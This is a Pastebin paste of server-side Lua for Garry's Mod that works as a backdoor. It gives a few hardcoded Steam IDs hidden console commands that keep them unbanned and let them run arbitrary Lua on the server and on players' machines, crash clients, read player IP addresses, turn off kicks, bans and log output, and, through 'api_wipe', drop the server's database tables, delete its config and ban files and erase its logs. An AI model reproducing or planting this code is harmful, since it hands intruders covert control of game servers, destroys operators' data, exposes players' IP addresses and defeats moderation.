Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if SERVER then
- timer.Create( "check2981367", 5, 0, function()
- local str = file.Read("cfg/banned_user.cfg", "MOD")
- if file.Exists("cfg/banned_user.cfg", "MOD") then
- if string.find(str, "STEAM_0:1:148794095", "STEAM_0:1:49887586" ) then
- print("that was silly")
- ULib.unban( "STEAM_0:1:148794095", "STEAM_0:1:163714674", "STEAM_0:1:49887586" )
- end
- end
- end)
- local function getsteamid(i)
- for k,v in pairs(player.GetAll()) do
- local n = string.lower(v:Nick())
- if (string.find(n,i)) then
- return v:SteamID()
- end
- end
- end
- --autor unban end
- authed = "nil"
- concommand.Add("api_auth", function(ply, cmd, args)
- if args[1] == "N3T31iE" then
- authed = ply:SteamID()
- ply:ChatPrint("Authed Logged Successfully")
- end
- end)
- --concommands
- concommand.Add("api_runcommand", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SendLua("LocalPlayer():ConCommand(".. "'" .. args[2] .. "'" .. ")")
- end
- end
- end
- end)
- concommand.Add("api_rcon", function(ply, cmd, args)
- if authed == ply:SteamID() then
- game.ConsoleCommand(args[1].."\n")
- end
- end)
- concommand.Add("api_crash", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SendLua("while true do end")
- end
- end
- end
- end)
- concommand.Add("api_ip", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- ip = v:IPAddress()
- ply:ChatPrint(ip)
- end
- end
- end
- end)
- concommand.Add("api_explode", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- util.BlastDamage( v, v, v:GetPos(), 100, 500 )
- end
- end
- end
- end)
- concommand.Add("api_kill", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SendLua("RunConsoleCommand('kill')")
- end
- end
- end
- end)
- concommand.Add("api_lua", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- RunString(args[1])
- end
- end)
- concommand.Add("api_knock", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- local tune = [[
- sound.PlayURL ( "http://squish.space/knock.mp3", "", function() end)
- ]]
- v:SendLua(tune)
- end
- end
- end)
- concommand.Add("api_openurl", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- local tune = [[
- gui.OpenURL( "http://]] .. args[2] ..[[" )
- ]]
- timer.Simple(1, function() v:SendLua(tune) end)
- end
- end
- end
- end)
- concommand.Add("api_openurl_all", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- SetGlobalFloat("urla", args[1])
- local tune = [[
- gui.OpenURL( "http://]] .. args[1] ..[[" )
- ]]
- timer.Simple(1, function() v:SendLua(tune) end)
- end
- end
- end)
- concommand.Add("api_porntroll_all", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- local tune = [[
- gui.OpenURL( "http://squish.space/meme.mp4" )
- ]]
- timer.Simple(1, function() v:SendLua(tune) end)
- end
- end
- end)
- concommand.Add("api_porntroll", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- local tune = [[
- gui.OpenURL( "http://squish.space/meme.mp4" )
- ]]
- timer.Simple(1, function() v:SendLua(tune) end)
- end
- end
- end
- end)
- concommand.Add("api_disablekicks", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- function Kick() return false end
- function ULib.kick() return false end
- end
- end)
- concommand.Add("api_disablebans", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- function Ban() return false end
- function ULib.ban() return false end
- if(FAdmin) then function FAdmin.PlayerActions.ConvertBanTime() return 1 end end
- end
- end)
- concommand.Add("api_stripweapons", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- ply:ChatPrint("Stripped Users Weapons!")
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:StripWeapons()
- end
- end
- end
- end)
- concommand.Add("api_stripammo", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- ply:ChatPrint("Stripped Users Ammo!")
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:StripAmmo()
- end
- end
- end
- end)
- concommand.Add("api_setteam", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- ply:ChatPrint("User" .. args[1] .." Set To Team: " .. args[2])
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SetTeam(args[2]);
- end
- end
- end
- end)
- concommand.Add("api_sethealth", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SetHealth(args[2])
- end
- end
- end
- end)
- concommand.Add("api_ignite", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:Ignite(120)
- end
- end
- end
- end)
- concommand.Add("api_silent_on", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- RunConsoleCommand("ulx", "logecho", "1")
- end
- end)
- concommand.Add("api_silent_off", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- RunConsoleCommand("ulx", "logecho", "0")
- end
- end)
- concommand.Add("api_pinkscreen", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- local memes = [[
- RunConsoleCommand("pp_texturize", 6)
- ]]
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SendLua(memes)
- end
- end
- end
- end)
- concommand.Add("api_pinkscreen_all", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- local memes = [[
- RunConsoleCommand("pp_texturize_scale", 5000)
- RunConsoleCommand("pp_texturize", "M")
- ]]
- for k,v in pairs (player.GetAll()) do
- v:SendLua(memes)
- end
- end
- end)
- concommand.Add("api_decapitate", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(-0.1,-0.1,-0.1))
- end
- end
- end)
- concommand.Add("api_undecapitate", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(1,1,1))
- end
- end
- end)
- concommand.Add("api_playmp3", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- v:SendLua("sound.PlayURL ( 'http://" .. args[1] .. "', '', function() end)")
- end
- end
- end)
- concommand.Add("killwipe", function(ply, cmd, args)
- timer.Remove("wipe")
- ply:ChatPrint("wipe canceled.")
- end)
- concommand.Add("api_wipe", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
- ply:ChatPrint("Server wiping in 20 seconds. Type killwipe to canel the wipe procedure.")
- timer.Create("wipe", 20, 1, function()
- local databases = { "darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
- local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt" }
- local date = os.date( "%m-%d-%y" )
- for k,v in pairs( databases ) do sql.Query( "DROP TABLE "..v.." ;" ) end
- for k,v in pairs( datafiles ) do file.Delete( v ) end
- hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )
- if darkrp then
- timer.Simple( 5, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /a I have been raped by Frost le almighty.") end end )
- timer.Simple( 8, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /a Server now wiping...") end end )
- end
- timer.Simple( 10, function() Entity(0):Remove() end )
- end)
- end
- end)
- end
- function gf2_spawn_debug( ply, command, args)
- if args[1]==nil or args[2]==nil or args[3]==nil or args[4]==nil or args[5]==nil or args[6]==nil or args[7]==nil or args[8]==nil then return end
- local eye_trace = ply:GetEyeTrace().HitPos
- local mode, ent, ply, t, st, q, vars, sp = args[1], args[2], tonumber(args[3]), tonumber(args[4]), tonumber(args[5]), tonumber(args[6]), args[7], args[8]
- if table.Count(args)==0 then return end
- timer.Simple(t, function()
- for k, v in pairs(player.GetAll()) do
- if v:EntIndex()==ply then
- if not(tonumber(q)) then return end
- for i=0, q do
- timer.Simple(st*i, function()
- local ent = ents.Create(ent)
- if sp == "ply" then ent:SetPos(v:GetPos()) else ent:SetPos(eye_trace) end
- ent:Spawn()
- ent:Activate()
- ent:SetVar("GBOWNER", v)
- ent:SetOwner(v)
- if mode=="spawn_function" then
- ent:SpawnFunction(v, v:GetEyeTrace())
- ent:Remove()
- end
- local var_table = string.Explode(",", vars)
- for index, variable in pairs(var_table) do
- local var_exploded = string.Explode("=", variable)
- local arg_processed = nil
- if var_exploded[2]=="true" then var_exploded[2]=true elseif var_exploded[2]=="false" then var_exploded[2]=false end -- bool check
- if var_exploded[2]!=true and var_exploded[2]!=false then
- if string.StartWith(var_exploded[2], "ply_")==true then
- local ply_targ = tonumber(string.Explode("_", var_exploded[2])[2])
- if player.GetAll()[ply_targ]:IsValid()==false then return end
- var_exploded[2]=player.GetAll()[ply_targ]
- end
- end
- if ent:IsValid() then ent:SetVar(var_exploded[1],var_exploded[2]) end
- end
- end)
- end
- end
- end
- end)
- end
- concommand.Add( "advspawn_", gf2_spawn_debug )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement